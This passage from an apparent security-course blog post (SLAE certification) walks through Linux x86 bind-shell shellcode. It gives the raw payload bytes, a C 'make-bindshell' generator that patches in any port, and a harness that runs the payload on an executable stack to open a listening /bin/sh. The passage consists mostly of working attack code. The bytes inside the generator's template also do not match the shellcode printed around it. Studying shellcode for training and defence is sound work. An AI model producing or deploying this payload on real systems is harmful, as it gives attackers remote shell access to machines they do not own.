"\x31\xdb\xf7\xe3\xb3\x01\x6a\x06\x53\x6a\x02\x89\xe1\xb0\x66\x89\xc7\xcd\x80\x96\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x89\xf8\xcd\x80\x52\x56\xb3\x04\x89\xe1\x89\xf8\xcd\x80\x52\x52\x56\x43\x89\xe1\x89\xf8\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

 

Voila.

6. Wrapper

The listening port is currently hard-coded in the shellcode.

Why don’t we write a c program that substitutes the port number in the shell code with a given command line argument, i.e. the command “make-bindshell 4444” will create a shellcode that listens on port 4444.

According to objdump, our instruction “push word 0x697A” has the obcode “66 68 7a 69” of which “7a 69” is the port.

Let’s go ahead and write a c program to substitute that string with any given port number:

/******************************************************************
*    make-bindshell -- Program to generate bind shellcode
* 
*    Author   : Re4son re4son [ at ] whitedome.com.au
*    Purpose  : generates bind shell code with port given as argument
*    Usage    : make-bindshell 
******************************************************************/


#include <stdio.h>
#include <string.h> 

int main( int argc, char *argv[] )
{
    unsigned int port;
    unsigned char low,high;
    char cmdArg[6];
    int i;

    if (argc > 1 && strlen(argv[1]) <=5){
        strcpy(cmdArg, argv[1]);

        // Make sure that the argument contains nothing but digits
        for (i = 0; i < strlen(cmdArg); i++){
            if (!isdigit(cmdArg[i])){
                printf("Port must be a number\n");
		printf("Usage: %s \n", argv[0] );
                return 1;
            }
         }

      // Convert argument from C string to integer
      port = atoi(cmdArg);
      high = port >> 8;
      low = (port << 8) >> 8;
      } else {

	printf("Usage: %s \n", argv[0] );
	return 1;
    }

    printf(  "Shellcode length : 91 bytes\n"
	     "Bind port (%05d): \\x%02x\\x%02x (Check for bad chars)\n\n"

	     "\"\\x31\\xdb\\xf7\\xe3\\xb3\\x01\\x6a\\x06\\x53\\x6a\\x02\\x89\\xe1\\xb0\"\n"
	     "\"\\x66\\x89\\xc7\\xcd\\x80\\x96\\x43\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x53\"\n"
	     "\"\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x56\"\n"
	     "\"\\xb3\\x04\\x89\\xe1\\x89\\xf8\\xcd\\x80\\x52\\x52\\x56\\x43\\x89\\xe1\"\n"
	     "\"\\x97\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\"\n"
	     "\"\\xf9\\x92\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\"\n"
	     "\"\\xe3\\x50\\x53\\x89\\xe1\\x50\\x89\\xe2\\xb0\\x0b\\xcd\\x80\";\n\n", port, high, low, high, low);

    return 0;

}

[/class]
Finished.
Let’s try it out. Run make-bindshell 31340, copy & paste the shellcode into shellcode.c and run ./shellcode and connect to it:

/* Compilation: gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xdb\xf7\xe3\xb3\x01\x6a\x06\x53\x6a\x02\x89\xe1\xb0"
"\x66\x89\xc7\xcd\x80\x96\x43\x52\x66\x68\x7a\x6c\x66\x53"
"\x89\xe1\x6a\x10\x51\x56\x89\xe1\x89\xf8\xcd\x80\x52\x56"
"\xb3\x04\x89\xe1\x89\xf8\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\x89\xf8\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\xb0\x0b\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

SLAE1_9

Done.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

Leave a Reply